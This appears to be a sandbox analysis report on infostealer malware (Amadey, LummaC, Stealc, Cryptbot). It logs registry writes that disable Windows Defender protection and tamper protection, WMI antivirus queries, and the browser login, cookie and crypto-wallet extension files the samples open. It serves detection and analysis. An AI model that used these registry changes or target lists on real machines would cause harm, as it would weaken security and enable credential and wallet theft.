Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_00428195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

23_2_00428195

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_0040D27A GetUserNameW,

23_2_0040D27A

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_003EB952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

23_2_003EB952

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_003B42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

23_2_003B42DE

Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: C:\Windows\System32\regsvr32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.9f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.9f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.2638498819.0000000005060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2102169941.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2142522636.0000000000531000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2121687435.0000000004A70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2162232766.00000000009F1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2131243243.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2171904450.00000000009F1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 1d003e9e16.exe PID: 6612, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 41266a11cd.exe PID: 1984, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000014.00000003.3082256465.0000000005310000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.3255598297.0000000005150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 813d0f4405.exe PID: 4612, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 41266a11cd.exe	String found in binary or memory: Wallets/Electrum-LTC
Source: 41266a11cd.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: 41266a11cd.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 41266a11cd.exe	String found in binary or memory: window-state.json
Source: 41266a11cd.exe, 00000011.00000003.3131425881.0000000000AF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet"
Source: 41266a11cd.exe	String found in binary or memory: Wallets/Exodus
Source: 41266a11cd.exe	String found in binary or memory: Wallets/Ethereum
Source: 41266a11cd.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 41266a11cd.exe	String found in binary or memory: keystore

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
